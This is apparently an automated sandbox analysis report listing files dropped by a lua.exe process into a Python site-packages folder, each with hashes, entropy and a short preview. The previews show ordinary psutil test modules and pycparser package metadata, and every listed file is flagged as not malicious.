Preview:	B.........R`M....................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...rze...sze.. ...0..e..!d.....d.d.l"Z"d.d.l#Z#d.d.l$Z$d.d.l%Z%W.d.Q.R.X.e.j&j'Z'd.d...Z(e..)e...d...e..)e.d...e..)e...o.e...d...G.d.d...d.e.........ZG.d.d...d.e..Z+G.d.d...d.e..Z,G.d d!..d!e..Z-G.d"d#..d#e..Z.G.d$d%..d%e..Z/e..)e...d...G.d&d'..d'e.....Z0e..)e...d...G.d(d)..d)e.....Z1e..)e...d...G.d*d+..d+e.....Z2e3d,k...r.d.d-l4m5Z5..e5e6....d.S.).z.Windows specific tests......N)...WINDOWS)...FileNotFoundError)...super)...APPVEYOR)...GITHUB_ACTIONS)...HAS_BATTERY)...IS_64BIT)...mock)...PsutilTestCase)...PY3)...PYPY)...retry_on_failure)...sh)...spawn_testproc)...terminate)...TOLERANCE_DISK_USAGE)...unittest..ignorec....................s...

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\runner.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11332
Entropy (8bit):	4.535850511198399
Encrypted:	false
SSDEEP:	192:2EdUP9J0DgrmdIkWzrlTQmzftDbD3LOLufM:2EdUPk0kWl8mzfJbD3aLuU
MD5:	65D15D318D15E4C0A20420071583823E
SHA1:	9C475AA073725BECFDA674C803AADD6D8BCB16C4
SHA-256:	6968819F332E1F8D9D1807A87D1B8E8260CF732288F58AF4BB53C8E072C33CE1
SHA-512:	0B3ADFEC06B18036CD252B850C0245EACA5DE93AB8203BE348538F2A5DF41B14A03CC9F63F1C55199DC4F5806E080EE5F326610BA524EDC73AAF55A649BDDDBD
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...""".Unit test runner, providing new features on top of unittest module:.- colourized output.- parallel run (UNIX only).- print failures/tracebacks on CTRL+C.- re-run failed tests only (make test-failed)..Invocation examples:.- make test.- make test-failed..Parallel:.- make test-parallel.- make test-process ARGS=--parallel."""..from __future__ import print_function.import atexit.import optparse.import os.import sys.import textwrap.import time.import unittest.try:. import ctypes.except ImportError:. ctypes = None..try:. import concurrencytest # pip install concurrencytest.except ImportError:. concurrencytest = None..import psutil.from psutil._common import hilite.from psutil._common import print_color.from psutil._common import term_supports_colors.from psutil._compat import super.from psu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_aix.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4526
Entropy (8bit):	4.7384253565050845
Encrypted:	false
SSDEEP:	48:k0Pa1x3EgoRZfL5eISLdN/75Nz6NvjhwkjrPOor7OSISDjv/85e2LVqlfPDAMtf5:ltHO4blj1ISXkFVqHaFBanGaTaF3sd1
MD5:	015B19D95558FA6F5D8C7395BA5BC8FA
SHA1:	D6B2CBFFF680C7CFD2E0BD290183BB19CF06C579
SHA-256:	AFBF0F05ACCC7656A08A9DED9D6759212E87C503538AB13D73C196A8F91C293C
SHA-512:	7036E0FD37BDA9E9FC7B5F3B8DE118A72A2077856CD75DF996885ADB4868C3EB4968BA299A8CD062281842EFB20D65C855C08156D1516BBF96BDA85248BF7D38
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'.# Copyright (c) 2017, Arnon Yaari.# All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""AIX specific tests."""..import re..from psutil import AIX.from psutil.tests import PsutilTestCase.from psutil.tests import sh.from psutil.tests import unittest.import psutil...@unittest.skipIf(not AIX, "AIX only").class AIXSpecificTestCase(PsutilTestCase):.. def test_virtual_memory(self):. out = sh('/usr/bin/svmon -O unit=KB'). re_pattern = r"memory\s". for field in ("size inuse free pin virtual available mmode").split():. re_pattern += r"(?P<%s>\S+)\s+" % (field,). matchobj = re.search(re_pattern, out).. self.assertIsNotNone(. matchobj, "svmon command returned unexpected output").. KB = 1024. total = int(matchobj.group("size")) KB. available = int(matchobj.group("available")) * K

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_bsd.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20695
Entropy (8bit):	4.659556550636568
Encrypted:	false
SSDEEP:	384:2lbEcesTJCiC2v5TYjLS8x5L4TdI27VUFhefCukeIX+fQL6Q/xz4d1:dc1a2vRYXS8xh4TS0VUFhefXkey+fQLE
MD5:	DC3223DE9A09793A2872C5A63071DBCE
SHA1:	F07F3F8DC8C0AC9A47239B9451773F1E0464A7D7
SHA-256:	DED4C55489265D91641F2685C9DB26247FFE96C0049351EE0008B7F8B8011893
SHA-512:	348300B1CB68512591327D6708F89DBB2FF154C9A64424FD960B66D32C7B5CDFAB29AEDD7ED00CCF2FE637D704D54369B071C4086014F160B0AB93EDE09E5302
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...# TODO: (FreeBSD) add test for comparing connections with 'sockstat' cmd...."""Tests specific to all BSD platforms."""...import datetime.import os.import re.import time..import psutil.from psutil import BSD.from psutil import FREEBSD.from psutil import NETBSD.from psutil import OPENBSD.from psutil.tests import spawn_testproc.from psutil.tests import HAS_BATTERY.from psutil.tests import PsutilTestCase.from psutil.tests import retry_on_failure.from psutil.tests import sh.from psutil.tests import TOLERANCE_SYS_MEM.from psutil.tests import terminate.from psutil.tests import unittest.from psutil.tests import which...if BSD:. from psutil._psutil_posix import getpagesize.. PAGESIZE = getpagesize(). # muse requires root privileges. MUSE_AVAILABLE = True if os.getuid() == 0 and which('muse') else

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_connections.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21434
Entropy (8bit):	4.522757721773301
Encrypted:	false
SSDEEP:	192:2mRimn5Rpi5j5mLHhf3X3RQ89MG8z5f7JyeJiEtJJYacC6IdM8G7rCtQrLwMkJ0r:2mHnQ5U51odhFiIC8G7rz/7kJ0GuXd1
MD5:	8003C6498D574A3851675F57157CFDCD
SHA1:	A28D283727CC4B3040F0FCA4460F55C4693209F3
SHA-256:	FB8A63C6D2465A86E389D58492E105212ED21C0E5E5EF11CAE3D8C1B9D45A9BF
SHA-512:	569F73D7CCF09F718068EC8FC8389194ADDCDB399E36BD9DA118FE36DAC2C81EE62DA70BF3A60FC624CD3E0202F9F0431B7D66B279B6BD7D66DD0D1DEE88BD69
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Tests for net_connections() and Process.connections() APIs."""..import os.import socket.import sys.import textwrap.from contextlib import closing.from socket import AF_INET.from socket import AF_INET6.from socket import SOCK_DGRAM.from socket import SOCK_STREAM..import psutil.from psutil import FREEBSD.from psutil import LINUX.from psutil import MACOS.from psutil import NETBSD.from psutil import OPENBSD.from psutil import POSIX.from psutil import SUNOS.from psutil import WINDOWS.from psutil._common import supports_ipv6.from psutil._compat import PY3.from psutil.tests import AF_UNIX.from psutil.tests import bind_socket.from psutil.tests import bind_unix_socket.from psutil.tests import check_connection_ntuple.from psutil.tests import create_sockets.from psutil.tests import HAS_CONNECTIONS_UNIX.from

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_contracts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	27097
Entropy (8bit):	4.573540065545182
Encrypted:	false
SSDEEP:	768:rek3itiplsJAt7/PUlKYvHuTtdJqR3Jud1:rr3tWVG
MD5:	0F55AA4FC6A3702920CF86F865D40F90
SHA1:	F1DD01E7F2D4EBC0666C8D812E08F67B65FF479B
SHA-256:	203E7F2BF1B09502D8259765DC16D9715F99727A6DC257CDC78DA633B6B9F0A9
SHA-512:	38D02166375F5A3682395F6525071C8EF0A1B2D98D570F30F634052FB6E9BE483C3172E36E3A3C98600F18D6726F97CAFF7901452232AE3DC4A9062F3651C476
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Contracts tests. These tests mainly check API sanity in terms of.returned types and APIs availability..Some of these are duplicates of tests test_system.py and test_process.py."""..import errno.import multiprocessing.import os.import signal.import stat.import sys.import time.import traceback..from psutil import AIX.from psutil import BSD.from psutil import FREEBSD.from psutil import LINUX.from psutil import MACOS.from psutil import NETBSD.from psutil import OPENBSD.from psutil import OSX.from psutil import POSIX.from psutil import SUNOS.from psutil import WINDOWS.from psutil._compat import FileNotFoundError.from psutil._compat import long.from psutil._compat import range.from psutil.tests import APPVEYOR.from psutil.tests import check_connection_ntuple.from psutil.tests import CI_TESTING.from psut

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_linux.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	89802
Entropy (8bit):	4.52985514802331
Encrypted:	false
SSDEEP:	1536:Ww69wkIHXWWFJtWgxIdr1mgwAdBAMK9FgwoamkjQ2k5hcEsN:wcHXWWFJtWgxIdr1mg1dBAMK9FgwoamY
MD5:	0FC283189C0EB8CB17DEBFB51DD8398A
SHA1:	1706C27CC9B5CAC79543E1FF01A8A40F6C7063A8
SHA-256:	8C488F0F98120AB52214EBDABBEB119DC3CEDD2B5EB68225C4F25C6336AB4DAB
SHA-512:	C55D8839358CEC1C29FAEF292BEB4D89EE17B36BFEA0722BDF293FFBF635A5EA8CB0985A47ADF86EA31233CB9ECE537F3C50C71FDB89ED7C54D79DC906A6B48F
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Linux specific tests."""..from __future__ import division.import collections.import contextlib.import errno.import glob.import io.import os.import re.import shutil.import socket.import struct.import textwrap.import time.import warnings..import psutil.from psutil import LINUX.from psutil._compat import basestring.from psutil._compat import FileNotFoundError.from psutil._compat import PY3.from psutil._compat import u.from psutil.tests import call_until.from psutil.tests import GLOBAL_TIMEOUT.from psutil.tests import HAS_BATTERY.from psutil.tests import HAS_CPU_FREQ.from psutil.tests import HAS_GETLOADAVG.from psutil.tests import HAS_RLIMIT.from psutil.tests import mock.from psutil.tests import PsutilTestCase.from psutil.tests import PYPY.from psutil.tests import reload_module.from psutil.tests impor

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_memleaks.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14796
Entropy (8bit):	4.761920246177457
Encrypted:	false
SSDEEP:	192:2L7aD61BN0QLHrilCSD5Hu1JUaluDD1U4VOQn75WViPQUsiIdWDtaa+iPpvDhOn4:26W1kLm+VNPyEtHvd1
MD5:	6ED26E33EAE96149C78C105D6F4EA2FA
SHA1:	046D8D5608EF14EEE4ED532CE6B64A279D870388
SHA-256:	B433F8A683D0782757703E436B2434B8B6FBD58CBF6E4D1094860D74197E7A6B
SHA-512:	9CFDA838B0F1CF8686D05B9BFF6B9A13E0E97CA35A798722A8206836F212A6C05526DC0ACA01DF2B3063E04F7F617196993E5FC9D53B34FEB9493F2E57A78352
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...""".Tests for detecting function memory leaks (typically the ones.implemented in C). It does so by calling a function many times and.checking whether process memory usage keeps increasing between.calls or over time..Note that this may produce false positives (especially on Windows.for some reason)..PyPy appears to be completely unstable for this framework, probably.because of how its JIT handles memory, so tests are skipped.."""..from __future__ import print_function.import functools.import os..import psutil.import psutil._common.from psutil import LINUX.from psutil import MACOS.from psutil import OPENBSD.from psutil import POSIX.from psutil import SUNOS.from psutil import WINDOWS.from psutil._compat import ProcessLookupError.from psutil._compat import super.from psutil.tests import create_sockets.fr

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_misc.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	28584
Entropy (8bit):	4.656047631985949
Encrypted:	false
SSDEEP:	384:/JJBbcbbtOrrV3+xmVNVbxFy/v4Ncr3eBc621FMd1:xzxconFCv4Ncr3eBc621FMd1
MD5:	9F0CF4A04F14D29F5A3C23677D32BF48
SHA1:	AD6337A4246274F36BD54A205AFECBFAB418E48C
SHA-256:	2B207FFF97CFF0BC2DE7B662AE91645AD3DADE9B17F52E43F73250211D9D165F
SHA-512:	1FF977EAE4B67E7FC436F31223F738B909B6374690E9588B69755060F554A2DEF425C32018B420FEE0ED6B65E2F3C29161F5E3673D74D63F4747FDB9D2DEA419
Malicious:	false
Preview:	#!/usr/bin/env python3.# -- coding: utf-8 --..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...""".Miscellaneous tests.."""..import ast.import collections.import errno.import json.import os.import pickle.import socket.import stat.import sys..from psutil import LINUX.from psutil import POSIX.from psutil import WINDOWS.from psutil._common import memoize.from psutil._common import memoize_when_activated.from psutil._common import supports_ipv6.from psutil._common import wrap_numbers.from psutil._compat import PY3.from psutil.tests import APPVEYOR.from psutil.tests import CI_TESTING.from psutil.tests import HAS_BATTERY.from psutil.tests import HAS_MEMORY_MAPS.from psutil.tests import HAS_NET_IO_COUNTERS.from psutil.tests import HAS_SENSORS_BATTERY.from psutil.tests import HAS_SENSORS_FANS.from psutil.tests import HAS_SENSORS_TEMPERATURES.from psutil.tests import import_modu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_osx.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7550
Entropy (8bit):	4.69867073256662
Encrypted:	false
SSDEEP:	192:2LB3qb7sPgQFDcKCj7AAT5PQI6dEz2wyzcbAsd1:2LBeCCjplACzPDd1
MD5:	75161E3EEEFF1160377AF4C597E3C3BE
SHA1:	EF85EC39C425B28E8159A6BEB06AB6ABDF225473
SHA-256:	3C041FE3D1D488DF27D032A651609709A115FB6876D26D637AE2D7F39A71B20F
SHA-512:	F7E9D039289613F2BBB6D02ED60043C3F4926C05503AEF9F7485F3D0A7E77F60761DEDA30C193E17D07BF3BB1A244561D3A2D252E85FDD5F8974294224377D5B
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""macOS specific tests."""..import re.import time..import psutil.from psutil import MACOS.from psutil.tests import HAS_BATTERY.from psutil.tests import PsutilTestCase.from psutil.tests import retry_on_failure.from psutil.tests import sh.from psutil.tests import spawn_testproc.from psutil.tests import terminate.from psutil.tests import TOLERANCE_DISK_USAGE.from psutil.tests import TOLERANCE_SYS_MEM.from psutil.tests import unittest...def sysctl(cmdline):. """Expects a sysctl command with an argument and parse the result. returning only the value of interest.. """. out = sh(cmdline). result = out.split()[1]. try:. return int(result). except ValueError:. return result...def vm_stat(field):. """Wrapper around 'vm_stat' cmdline utility.""". from psutil._psutil_pos

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_posix.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15143
Entropy (8bit):	4.568206158700274
Encrypted:	false
SSDEEP:	192:/TTvDqTVTMg+s5EQg5PwnicWliTC+eo8U9g628S8628sgcq81Yf0GwJUCCxPdtRH:/nvOTVTB15EQumDTCW180UCWPdtRnd1
MD5:	116F03677F36741318E0E8B2502ED7E0
SHA1:	0559AC3EF9E434E9DFE41B3B068CD45ABE6F951C
SHA-256:	A8DD16DEBEFAD05E5CE9D1854D8295B323631B5EB05FF7E956CDA4D4AF02A921
SHA-512:	D5079A209A624FD1E780A05597BADF411B9B610E4FABA231BFC04D9DACE90FDD95EBBCC7E56C1564C80FB3972F40A1B22E95FF61E2143A78122B963B9B3524AE
Malicious:	false
Preview:	#!/usr/bin/env python3.# -- coding: utf-8 --..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""POSIX specific tests."""..import datetime.import errno.import os.import re.import subprocess.import time..import psutil.from psutil import AIX.from psutil import BSD.from psutil import LINUX.from psutil import MACOS.from psutil import OPENBSD.from psutil import POSIX.from psutil import SUNOS.from psutil.tests import CI_TESTING.from psutil.tests import spawn_testproc.from psutil.tests import HAS_NET_IO_COUNTERS.from psutil.tests import mock.from psutil.tests import PsutilTestCase.from psutil.tests import PYTHON_EXE.from psutil.tests import retry_on_failure.from psutil.tests import sh.from psutil.tests import skip_on_access_denied.from psutil.tests import terminate.from psutil.tests import unittest.from psutil.tests import which..if POSIX:. import mmap. import resource.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_process.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	59703
Entropy (8bit):	4.5319973752071965
Encrypted:	false
SSDEEP:	768:XhUJJrmFWl2I5IVB4TLcVjO8VORMvulohZJsx80/+EkmJrd1:Xm/kP4XcwuvpZJsxjCml
MD5:	E4A3C052D22BAC10ECDADFBA7A02855C
SHA1:	283499A8CAC872435EE045351316FFEA4AF350B7
SHA-256:	6C2702A9F736271288F4FBEE5BB9A9158E7DF6BC683192B39310D14FE3A6B349
SHA-512:	B5C531A60B90EB95CE0164AF2D81959DB3D9F7B1849DA457FB88BCA9DCC1CCB3216C2C88D795A398275723063F8EEA0F4C604C4C63EE53A569D83A16F5C0873E
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Tests for psutil.Process class."""..import collections.import errno.import getpass.import itertools.import os.import signal.import socket.import stat.import subprocess.import sys.import textwrap.import time.import types..import psutil..from psutil import AIX.from psutil import BSD.from psutil import LINUX.from psutil import MACOS.from psutil import NETBSD.from psutil import OPENBSD.from psutil import OSX.from psutil import POSIX.from psutil import SUNOS.from psutil import WINDOWS.from psutil._common import open_text.from psutil._compat import FileNotFoundError.from psutil._compat import long.from psutil._compat import PY3.from psutil._compat import super.from psutil.tests import APPVEYOR.from psutil.tests import call_until.from psutil.tests import CI_TESTING.from psutil.tests import copyload_share

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_sunos.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1351
Entropy (8bit):	4.740789355026281
Encrypted:	false
SSDEEP:	24:qaWpPMxSbJDBb1r1V1GMcaptTQYDOxKASPShoE5pL8JFCFR5s5rHah3t1:10P5Rx3TAPuSvpfF4ah3t1
MD5:	56F33F80C7A666C75DE2CAD49EB4733C
SHA1:	A9AB682C8B416E9C9EE343D1F5A5347BCC0252D3
SHA-256:	B68B01EBEE1BA0CE9994855A789661E986C163C8151919B46085E06FF67AF465
SHA-512:	ED19808447105464B33A639294E623495C11AE465123932C0BB200DDB2AF20782FA1C424758854A0876E4E3E833306DA062A34D3F27142EDD7BB69DF7679D13A
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Sun OS specific tests."""..import os..import psutil.from psutil import SUNOS.from psutil.tests import PsutilTestCase.from psutil.tests import sh.from psutil.tests import unittest...@unittest.skipIf(not SUNOS, "SUNOS only").class SunOSSpecificTestCase(PsutilTestCase):.. def test_swap_memory(self):. out = sh('env PATH=/usr/sbin:/sbin:%s swap -l' % os.environ['PATH']). lines = out.strip().split('\n')[1:]. if not lines:. raise ValueError('no swap device(s) configured'). total = free = 0. for line in lines:. line = line.split(). t, f = line[-2:]. total += int(int(t) * 512). free += int(int(f) * 512). used = total - free.. psutil_swap = psutil.swap_memory(). self.assertEqual(psutil_swap.tota

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_system.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	35596
Entropy (8bit):	4.463089821942629
Encrypted:	false
SSDEEP:	384:22rbkJHLrKkkw+bPjvZVV3ro5Er/QPJae2qdsd1:JMJvkwijZVV85EDAJZRWd1
MD5:	EA99DBB2C7D50E3EED1CAA924B183DBB
SHA1:	89F1B0EF3AA0DFA1C3F25FF39B3F7CE97AB35676
SHA-256:	753D2FDD7E19665D513B4011614FC092F340CEC1ADDB5088210F7EFD5BDB41AE
SHA-512:	2B148EAAFA16AC2D4883A9C33513D538ACC2DA33A9594A7C3C415DAF26B05BE0F7FFE996FB8A59F9C465366D3B9A70DF3AC22F691DF688076ECC5C12EB90749D
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Tests for system APIS."""..import contextlib.import datetime.import errno.import os.import pprint.import shutil.import signal.import socket.import sys.import time..import psutil.from psutil import AIX.from psutil import BSD.from psutil import FREEBSD.from psutil import LINUX.from psutil import MACOS.from psutil import NETBSD.from psutil import OPENBSD.from psutil import POSIX.from psutil import SUNOS.from psutil import WINDOWS.from psutil._compat import FileNotFoundError.from psutil._compat import long.from psutil.tests import ASCII_FS.from psutil.tests import check_net_address.from psutil.tests import CI_TESTING.from psutil.tests import DEVNULL.from psutil.tests import enum.from psutil.tests import GLOBAL_TIMEOUT.from psutil.tests import HAS_BATTERY.from psutil.tests import HAS_CPU_FREQ.from psut

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_testutils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14420
Entropy (8bit):	4.602195014102643
Encrypted:	false
SSDEEP:	192:/OT60hRfBE6u+aa1U1pRV6WQ4JJ3y+xoNWYwvDpDDDnylsd1:/260hRO1puHHLSd1
MD5:	0C6704616E4AA0EC2CE1EB664F119DDA
SHA1:	474FCEAAEBC2062C459DE72EB1D69FD450FDA046
SHA-256:	03D9E77A1DBD67DACDEF03387A4060E107572F97620F8982508D54C3A0798DE7
SHA-512:	0605A3BEDA8D2BDD4658E2F4E0F94A632C478633FF05EA766DC82A9EC801C43B48717C4B4D3205AB19A05DBA91CC8EBBFD8FB0C3C49EB354D105A69D9AB9B767
Malicious:	false
Preview:	#!/usr/bin/env python3.# -- coding: utf-8 --..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...""".Tests for testing utils (psutil.tests namespace).."""..import collections.import contextlib.import errno.import os.import socket.import stat.import subprocess..from psutil import FREEBSD.from psutil import NETBSD.from psutil import POSIX.from psutil._common import open_binary.from psutil._common import open_text.from psutil._common import supports_ipv6.from psutil.tests import bind_socket.from psutil.tests import bind_unix_socket.from psutil.tests import call_until.from psutil.tests import chdir.from psutil.tests import CI_TESTING.from psutil.tests import create_sockets.from psutil.tests import get_free_port.from psutil.tests import HAS_CONNECTIONS_UNIX.from psutil.tests import is_namedtuple.from psutil.tests import mock.from psutil.tests import process_namespace.from psut

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_unicode.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	12459
Entropy (8bit):	4.776242556435487
Encrypted:	false
SSDEEP:	192:/RXsup2A/4+bKAubOBKhXsO7URBaowNDAMvw1WSwU+xGjszhJsd1:/R8up2H+bKAuiBUXsO7iBJRd1
MD5:	F4CC813B50230E7FB8C90BE0FEA35C7C
SHA1:	864E56B1EBFEC9CE9B09DE8FB464F2F65D819D85
SHA-256:	70FC32D98516F1757453DA08B0C0811614B648CBB986D7450F70D38A6991B627
SHA-512:	3DD422241ACC519B2CF853DA07D8A07D941EA0C0A417401FDE3C0CA7516D659EB57A33ECC5B6A0DE0BB195875A67E7E9B2E08A24A1CA191F7994D654067DE25D
Malicious:	false
Preview:	#!/usr/bin/env python3.# -- coding: utf-8 --..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...""".Notes about unicode handling in psutil.======================================..Starting from version 5.3.0 psutil adds unicode support, see:.https://github.com/giampaolo/psutil/issues/1040.The notes below apply to any API returning a string such as.process exe(), cwd() or username():..* all strings are encoded by using the OS filesystem encoding. (sys.getfilesystemencoding()) which varies depending on the platform. (e.g. "UTF-8" on macOS, "mbcs" on Win).* no API call is supposed to crash with UnicodeDecodeError.* instead, in case of badly encoded data returned by the OS, the. following error handlers are used to replace the corrupted characters in. the string:. * Python 3: sys.getfilesystemencodeerrors() (PY 3.6+) or. "surrogatescape" on POSIX and "replace" o

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\test_windows.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	32589
Entropy (8bit):	4.706977660617319
Encrypted:	false
SSDEEP:	768:Xxy/QUF6eWymjgZUqv34S5KFGWrhwFpDchqZEd1:XQoZeWfkZUC4yKFGWFwFpDchq4
MD5:	16251C833AD81F8BCA1A1B11814197FD
SHA1:	0EC1B182F07726230DF536A1AE2351FDC1694A05
SHA-256:	7641246C5114688D8BE6CC85B5EF6FA24E369FFAFF0EC4E36C5BBA219E92CEF4
SHA-512:	F2C643E7ADC6298F8D9245C17DAF4E5125298E70814E896A926F0F1FDB382B9BB03E031CF5BB3221763AE26296088CDB9FE21B3D25C8D322D4D7972FE2E7D677
Malicious:	false
Preview:	#!/usr/bin/env python3.# -- coding: UTF-8 -..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Windows specific tests."""..import datetime.import errno.import glob.import os.import platform.import re.import signal.import subprocess.import sys.import time.import warnings..import psutil.from psutil import WINDOWS.from psutil._compat import FileNotFoundError.from psutil._compat import super.from psutil.tests import APPVEYOR.from psutil.tests import GITHUB_ACTIONS.from psutil.tests import HAS_BATTERY.from psutil.tests import IS_64BIT.from psutil.tests import mock.from psutil.tests import PsutilTestCase.from psutil.tests import PY3.from psutil.tests import PYPY.from psutil.tests import retry_on_failure.from psutil.tests import sh.from psutil.tests import spawn_testproc.from psutil.tests import terminate.from psutil.tests import TOLERANCE_DISK_USAGE.from psutil.tests import

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	5.123825274809352
Encrypted:	false
SSDEEP:	24:bkOCUneZXof9+bOOrgFTY+JY4vFTzDssd2lBTPj96432sgEOkes8GROKE32s3yJX:be3OOrgJ04vJzIJvP56432s3432s3Ott
MD5:	86F1CEDB4E6410A88CE8E30B91079169
SHA1:	3A3D1C2CF8D81B9A4A823D5F3A865480F9B64977
SHA-256:	3C76629880AEC2F8578ED914701A4FF9E5DA8B60ACB8B7EC675ABF83C90C5168
SHA-512:	61010108E9793976659F4F78328D459BF423E454016CA68AB145D2AC04BAF1C720314943853F9E1938FCAC6B5E396467C505C856658429181F26B8E4715FF877
Malicious:	false
